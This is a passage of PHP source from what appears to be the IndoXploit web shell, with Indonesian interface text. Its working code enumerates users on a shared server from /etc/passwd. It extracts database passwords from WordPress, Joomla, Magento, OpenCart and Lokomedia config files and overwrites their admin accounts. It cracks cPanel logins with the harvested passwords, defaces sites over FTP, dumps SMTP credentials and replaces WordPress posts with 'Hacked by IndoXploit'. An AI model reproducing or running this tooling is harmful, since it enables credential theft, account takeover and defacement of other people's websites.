  852.             echo '<center>
  853.                   <form method="post">
  854.                   List Domains: <br>
  855.                   <textarea name="url" style="width: 500px; height: 250px;">';
  856.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  857.             while($getss = fgets($fp)) {
  858.                 echo $getss;
  859.             }
  860.             echo  '</textarea><br>
  861.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  862.                   </form></center>';
  863.         }
  864.     } elseif(preg_match("/vhosts|vhost/", $dir)) {
  865.         preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
  866.         $urls = explode("\r\n", $_POST['url']);
  867.         if(isset($_POST['jump'])) {
  868.             echo "<pre>";
  869.             foreach($urls as $url) {
  870.                 $url = str_replace("www.", "", $url);
  871.                 $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
  872.                 if(is_dir($web_vh) === true) {
  873.                     if(is_readable($web_vh)) {
  874.                         $i++;
  875.                         $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  876.                         if(is_writable($web_vh)) {
  877.                             $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  878.                         }
  879.                         echo $jrw."<br>";
  880.                     }
  881.                 }
  882.             }
  883.         if($i == 0) {
  884.         } else {
  885.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  886.         }
  887.         echo "</pre>";
  888.         } else {
  889.             echo '<center>
  890.                   <form method="post">
  891.                   List Domains: <br>
  892.                   <textarea name="url" style="width: 500px; height: 250px;">';
  893.                   bing("ip:$ip");
  894.             echo  '</textarea><br>
  895.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  896.                   </form></center>';
  897.         }
  898.     } else {
  899.         echo "<pre>";
  900.         $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  901.         while($passwd = fgets($etc)) {
  902.             if($passwd == '' || !$etc) {
  903.                 echo "<font color=red>Can't read /etc/passwd</font>";
  904.             } else {
  905.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  906.                 foreach($user_jumping[1] as $user_idx_jump) {
  907.                     $user_jumping_dir = "/home/$user_idx_jump/public_html";
  908.                     if(is_readable($user_jumping_dir)) {
  909.                         $i++;
  910.                         $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  911.                         if(is_writable($user_jumping_dir)) {
  912.                             $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  913.                         }
  914.                         echo $jrw;
  915.                         if(function_exists('posix_getpwuid')) {
  916.                             $domain_jump = file_get_contents("/etc/named.conf");   
  917.                             if($domain_jump == '') {
  918.                                 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  919.                             } else {
  920.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  921.                                 foreach($domains_jump[1] as $dj) {
  922.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  923.                                     $user_jumping_url = $user_jumping_url['name'];
  924.                                     if($user_jumping_url == $user_idx_jump) {
  925.                                         echo " => ( <u>$dj</u> )<br>";
  926.                                         break;
  927.                                     }
  928.                                 }
  929.                             }
  930.                         } else {
  931.                             echo "<br>";
  932.                         }
  933.                     }
  934.                 }
  935.             }
  936.         }
  937.         if($i == 0) {
  938.         } else {
  939.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  940.         }
  941.         echo "</pre>";
  942.     }
  943.     echo "</div>";
  944. } elseif($_GET['do'] == 'auto_edit_user') {
  945.     if($_POST['hajar']) {
  946.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  947.             echo "username atau password harus lebih dari 6 karakter";
  948.         } else {
  949.             $user_baru = $_POST['user_baru'];
  950.             $pass_baru = md5($_POST['pass_baru']);
  951.             $conf = $_POST['config_dir'];
  952.             $scan_conf = scandir($conf);
  953.             foreach($scan_conf as $file_conf) {
  954.                 if(!is_file("$conf/$file_conf")) continue;
  955.                 $config = file_get_contents("$conf/$file_conf");
  956.                 if(preg_match("/JConfig|joomla/",$config)) {
  957.                     $dbhost = ambilkata($config,"host = '","'");
  958.                     $dbuser = ambilkata($config,"user = '","'");
  959.                     $dbpass = ambilkata($config,"password = '","'");
  960.                     $dbname = ambilkata($config,"db = '","'");
  961.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  962.                     $prefix = $dbprefix."users";
  963.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  964.                     $db = mysql_select_db($dbname);
  965.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  966.                     $result = mysql_fetch_array($q);
  967.                     $id = $result['id'];
  968.                     $site = ambilkata($config,"sitename = '","'");
  969.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  970.                     echo "Config => ".$file_conf."<br>";
  971.                     echo "CMS => Joomla<br>";
  972.                     if($site == '') {
  973.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  974.                     } else {
  975.                         echo "Sitename => $site<br>";
  976.                     }
  977.                     if(!$update OR !$conn OR !$db) {
  978.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  979.                     } else {
  980.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  981.                     }
  982.                     mysql_close($conn);
  983.                 } elseif(preg_match("/WordPress/",$config)) {
  984.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  985.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  986.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  987.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  988.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  989.                     $prefix = $dbprefix."users";
  990.                     $option = $dbprefix."options";
  991.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  992.                     $db = mysql_select_db($dbname);
  993.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  994.                     $result = mysql_fetch_array($q);
  995.                     $id = $result[ID];
  996.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  997.                     $result2 = mysql_fetch_array($q2);
  998.                     $target = $result2[option_value];
  999.                     if($target == '') {
  1000.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1001.                     } else {
  1002.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1003.                     }
  1004.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1005.                     echo "Config => ".$file_conf."<br>";
  1006.                     echo "CMS => Wordpress<br>";
  1007.                     echo $url_target;
  1008.                     if(!$update OR !$conn OR !$db) {
  1009.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1010.                     } else {
  1011.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1012.                     }
  1013.                     mysql_close($conn);
  1014.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1015.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1016.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1017.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1018.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1019.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1020.                     $prefix = $dbprefix."admin_user";
  1021.                     $option = $dbprefix."core_config_data";
  1022.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1023.                     $db = mysql_select_db($dbname);
  1024.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1025.                     $result = mysql_fetch_array($q);
  1026.                     $id = $result[user_id];
  1027.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1028.                     $result2 = mysql_fetch_array($q2);
  1029.                     $target = $result2[value];
  1030.                     if($target == '') {
  1031.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1032.                     } else {
  1033.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1034.                     }
  1035.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1036.                     echo "Config => ".$file_conf."<br>";
  1037.                     echo "CMS => Magento<br>";
  1038.                     echo $url_target;
  1039.                     if(!$update OR !$conn OR !$db) {
  1040.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1041.                     } else {
  1042.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1043.                     }
  1044.                     mysql_close($conn);
  1045.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1046.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1047.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1048.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1049.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1050.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1051.                     $prefix = $dbprefix."user";
  1052.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1053.                     $db = mysql_select_db($dbname);
  1054.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1055.                     $result = mysql_fetch_array($q);
  1056.                     $id = $result[user_id];
  1057.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1058.                     if($target == '') {
  1059.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1060.                     } else {
  1061.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1062.                     }
  1063.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1064.                     echo "Config => ".$file_conf."<br>";
  1065.                     echo "CMS => OpenCart<br>";
  1066.                     echo $url_target;
  1067.                     if(!$update OR !$conn OR !$db) {
  1068.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1069.                     } else {
  1070.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1071.                     }
  1072.                     mysql_close($conn);
  1073.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1074.                     $dbhost = ambilkata($config,'server = "','"');
  1075.                     $dbuser = ambilkata($config,'username = "','"');
  1076.                     $dbpass = ambilkata($config,'password = "','"');
  1077.                     $dbname = ambilkata($config,'database = "','"');
  1078.                     $prefix = "users";
  1079.                     $option = "identitas";
  1080.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1081.                     $db = mysql_select_db($dbname);
  1082.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1083.                     $result = mysql_fetch_array($q);
  1084.                     $target = $result[alamat_website];
  1085.                     if($target == '') {
  1086.                         $target2 = $result[url];
  1087.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1088.                         if($target2 == '') {
  1089.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1090.                         } else {
  1091.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1092.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1093.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1094.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1095.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1096.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1097.                             } else {
  1098.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana
  1099.  
  1100. :p</font> ]<br>";
  1101.                             }
  1102.                         }
  1103.                     } else {
  1104.                         $cek_login = file_get_contents("$target/adminweb/");
  1105.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1106.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1107.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1108.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1109.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1110.                         } else {
  1111.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1112.                         }
  1113.                     }
  1114.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1115.                     echo "Config => ".$file_conf."<br>";
  1116.                     echo "CMS => Lokomedia<br>";
  1117.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1118.                         echo $url_target2;
  1119.                     } else {
  1120.                         echo $url_target;
  1121.                     }
  1122.                     if(!$update OR !$conn OR !$db) {
  1123.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1124.                     } else {
  1125.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1126.                     }
  1127.                     mysql_close($conn);
  1128.                 }
  1129.             }
  1130.         }
  1131.     } else {
  1132.         echo "<center>
  1133.         <h1>Auto Edit User Config</h1>
  1134.         <form method='post'>
  1135.         DIR Config: <br>
  1136.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1137.         Set User & Pass: <br>
  1138.         <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
  1139.         <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
  1140.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1141.         </form>
  1142.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1143.         ";
  1144.     }
  1145. } elseif($_GET['do'] == 'cpanel') {
  1146.     if($_POST['crack']) {
  1147.         $usercp = explode("\r\n", $_POST['user_cp']);
  1148.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1149.         $i = 0;
  1150.         foreach($usercp as $ucp) {
  1151.             foreach($passcp as $pcp) {
  1152.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1153.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1154.                     } else {
  1155.                         $_SESSION[$ucp] = "1";
  1156.                         $_SESSION[$pcp] = "1";
  1157.                         if($ucp == '' || $pcp == '') {
  1158.                            
  1159.                         } else {
  1160.                             $i++;
  1161.                             if(function_exists('posix_getpwuid')) {
  1162.                                 $domain_cp = file_get_contents("/etc/named.conf"); 
  1163.                                 if($domain_cp == '') {
  1164.                                     $dom =  "<font color=red>gabisa ambil nama domain nya</font>";
  1165.                                 } else {
  1166.                                     preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1167.                                     foreach($domains_cp[1] as $dj) {
  1168.                                         $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1169.                                         $user_cp_url = $user_cp_url['name'];
  1170.                                         if($user_cp_url == $ucp) {
  1171.                                             $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
  1172.                                             break;
  1173.                                         }
  1174.                                     }
  1175.                                 }
  1176.                             } else {
  1177.                                 $dom = "<font color=red>function is Disable by system</font>";
  1178.                             }
  1179.                             echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
  1180.                         }
  1181.                     }
  1182.                 }
  1183.             }
  1184.         }
  1185.         if($i == 0) {
  1186.         } else {
  1187.             echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
  1188.         }
  1189.     } else {
  1190.         echo "<center>
  1191.         <form method='post'>
  1192.         USER: <br>
  1193.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1194.         $_usercp = fopen("/etc/passwd","r");
  1195.         while($getu = fgets($_usercp)) {
  1196.             if($getu == '' || !$_usercp) {
  1197.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1198.             } else {
  1199.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1200.                 foreach($u[1] as $user_cp) {
  1201.                         if(is_dir("/home/$user_cp/public_html")) {
  1202.                             echo "$user_cp\n";
  1203.                     }
  1204.                 }
  1205.             }
  1206.         }
  1207.         echo "</textarea><br>
  1208.         PASS: <br>
  1209.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1210.         function cp_pass($dir) {
  1211.             $pass = "";
  1212.             $dira = scandir($dir);
  1213.             foreach($dira as $dirb) {
  1214.                 if(!is_file("$dir/$dirb")) continue;
  1215.                 $ambil = file_get_contents("$dir/$dirb");
  1216.                 if(preg_match("/WordPress/", $ambil)) {
  1217.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1218.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1219.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1220.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1221.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1222.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1223.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1224.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1225.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1226.                 } elseif(preg_match("/^[client]$/", $ambil)) {
  1227.                     preg_match("/password=(.*?)/", $ambil, $pass1);
  1228.                     if(preg_match('/"/', $pass1[1])) {
  1229.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1230.                         $pass .= $pass1[1]."\n";
  1231.                     } else {
  1232.                         $pass .= $pass1[1]."\n";
  1233.                     }
  1234.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1235.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1236.                 }
  1237.             }
  1238.             echo $pass;
  1239.         }
  1240.         $cp_pass = cp_pass($dir);
  1241.         echo $cp_pass;
  1242.         echo "</textarea><br>
  1243.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1244.         </form>
  1245.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config
  1246.  
  1247. )</span><br></center>";
  1248.     }
  1249. } elseif($_GET['do'] == 'cpftp_auto') {
  1250.     if($_POST['crack']) {
  1251.         $usercp = explode("\r\n", $_POST['user_cp']);
  1252.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1253.         $i = 0;
  1254.         foreach($usercp as $ucp) {
  1255.             foreach($passcp as $pcp) {
  1256.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1257.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1258.                     } else {
  1259.                         $_SESSION[$ucp] = "1";
  1260.                         $_SESSION[$pcp] = "1";
  1261.                         if($ucp == '' || $pcp == '') {
  1262.                             //
  1263.                         } else {
  1264.                             echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1265.                             $ftp_conn = ftp_connect($ip);
  1266.                             $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  1267.                             if((!$ftp_login) || (!$ftp_conn)) {
  1268.                                 echo "[+] <font color=red>Login Gagal</font><br><br>";
  1269.                             } else {
  1270.                                 echo "[+] <font color=lime>Login Sukses</font><br>";
  1271.                                 $fi = htmlspecialchars($_POST['file_deface']);
  1272.                                 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  1273.                                 if($deface) {
  1274.                                     $i++;
  1275.                                     echo "[+] <font color=lime>Deface Sukses</font><br>";
  1276.                                     if(function_exists('posix_getpwuid')) {
  1277.                                         $domain_cp = file_get_contents("/etc/named.conf"); 
  1278.                                         if($domain_cp == '') {
  1279.                                             echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1280.                                         } else {
  1281.                                             preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1282.                                             foreach($domains_cp[1] as $dj) {
  1283.                                                 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1284.                                                 $user_cp_url = $user_cp_url['name'];
  1285.                                                 if($user_cp_url == $ucp) {
  1286.                                                     echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  1287.                                                     break;
  1288.                                                 }
  1289.                                             }
  1290.                                         }
  1291.                                     } else {
  1292.                                         echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1293.                                     }
  1294.                                 } else {
  1295.                                     echo "[-] <font color=red>Deface Gagal</font><br><br>";
  1296.                                 }
  1297.                             }
  1298.                             //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1299.                         }
  1300.                     }
  1301.                 }
  1302.             }
  1303.         }
  1304.         if($i == 0) {
  1305.         } else {
  1306.             echo "<br>sukses deface ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
  1307.         }
  1308.     } else {
  1309.         echo "<center>
  1310.         <form method='post'>
  1311.         Filename: <br>
  1312.         <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  1313.         Deface Page: <br>
  1314.         <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
  1315.         USER: <br>
  1316.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1317.         $_usercp = fopen("/etc/passwd","r");
  1318.         while($getu = fgets($_usercp)) {
  1319.             if($getu == '' || !$_usercp) {
  1320.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1321.             } else {
  1322.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1323.                 foreach($u[1] as $user_cp) {
  1324.                         if(is_dir("/home/$user_cp/public_html")) {
  1325.                             echo "$user_cp\n";
  1326.                     }
  1327.                 }
  1328.             }
  1329.         }
  1330.         echo "</textarea><br>
  1331.         PASS: <br>
  1332.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1333.         function cp_pass($dir) {
  1334.             $pass = "";
  1335.             $dira = scandir($dir);
  1336.             foreach($dira as $dirb) {
  1337.                 if(!is_file("$dir/$dirb")) continue;
  1338.                 $ambil = file_get_contents("$dir/$dirb");
  1339.                 if(preg_match("/WordPress/", $ambil)) {
  1340.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1341.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1342.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1343.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1344.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1345.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1346.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1347.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1348.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1349.                 } elseif(preg_match("/client/", $ambil)) {
  1350.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1351.                     if(preg_match('/"/', $pass1[1])) {
  1352.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1353.                         $pass .= $pass1[1]."\n";
  1354.                     }
  1355.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1356.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1357.                 }
  1358.             }
  1359.             echo $pass;
  1360.         }
  1361.         $cp_pass = cp_pass($dir);
  1362.         echo $cp_pass;
  1363.         echo "</textarea><br>
  1364.         <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  1365.         </form>
  1366.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config
  1367.  
  1368. )</span><br></center>";
  1369.     }
  1370. } elseif($_GET['do'] == 'smtp') {
  1371.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1372.     function scj($dir) {
  1373.         $dira = scandir($dir);
  1374.         foreach($dira as $dirb) {
  1375.             if(!is_file("$dir/$dirb")) continue;
  1376.             $ambil = file_get_contents("$dir/$dirb");
  1377.             $ambil = str_replace("$", "", $ambil);
  1378.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1379.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1380.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1381.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1382.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1383.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1384.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1385.                 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1386.                 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1387.                 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1388.                 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1389.                 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1390.                 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1391.             }
  1392.         }
  1393.     }
  1394.     $smpt_hunter = scj($dir);
  1395.     echo $smpt_hunter;
  1396. } elseif($_GET['do'] == 'auto_wp') {
  1397.     if($_POST['hajar']) {
  1398.         $title = htmlspecialchars($_POST['new_title']);
  1399.         $pn_title = str_replace(" ", "-", $title);
  1400.         if($_POST['cek_edit'] == "Y") {
  1401.             $script = $_POST['edit_content'];
  1402.         } else {
  1403.             $script = $title;
  1404.         }
  1405.         $conf = $_POST['config_dir'];
  1406.         $scan_conf = scandir($conf);
  1407.         foreach($scan_conf as $file_conf) {
  1408.             if(!is_file("$conf/$file_conf")) continue;
  1409.             $config = file_get_contents("$conf/$file_conf");
  1410.             if(preg_match("/WordPress/", $config)) {
  1411.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1412.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1413.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1414.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1415.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1416.                 $prefix = $dbprefix."posts";
  1417.                 $option = $dbprefix."options";
  1418.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1419.                 $db = mysql_select_db($dbname);
  1420.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1421.                 $result = mysql_fetch_array($q);
  1422.                 $id = $result[ID];
  1423.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1424.                 $result2 = mysql_fetch_array($q2);
  1425.                 $target = $result2[option_value];
  1426.                 $update = mysql_query("UPDATE $prefix SET
  1427.  
  1428. post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1429.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1430.                 echo "<div style='margin: 5px auto;'>";
  1431.                 if($target == '') {
  1432.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1433.                 } else {
  1434.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1435.                 }
  1436.                 if(!$update OR !$conn OR !$db) {
  1437.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1438.                 } else {
  1439.                     echo "<font color=lime>sukses di ganti.</font><br>";
  1440.                 }
  1441.                 echo "</div>";
  1442.                 mysql_close($conn);
  1443.             }
  1444.         }
  1445.     } else {
  1446.         echo "<center>
  1447.         <h1>Auto Edit Title+Content WordPress</h1>
  1448.         <form method='post'>
  1449.         DIR Config: <br>
  1450.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1451.         Set Title: <br>
  1452.         <input type='text' name='new_title' value='Hacked by IndoXploit' placeholder='New Title'><br><br>
  1453.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1454.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1455.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1456.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1457.         </form>
  1458.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1459.         ";
  1460.     }
  1461. } elseif($_GET['do'] == 'zoneh') {
  1462.     if($_POST['submit']) {
  1463.         $domain = explode("\r\n", $_POST['url']);
  1464.         $nick =  $_POST['nick'];
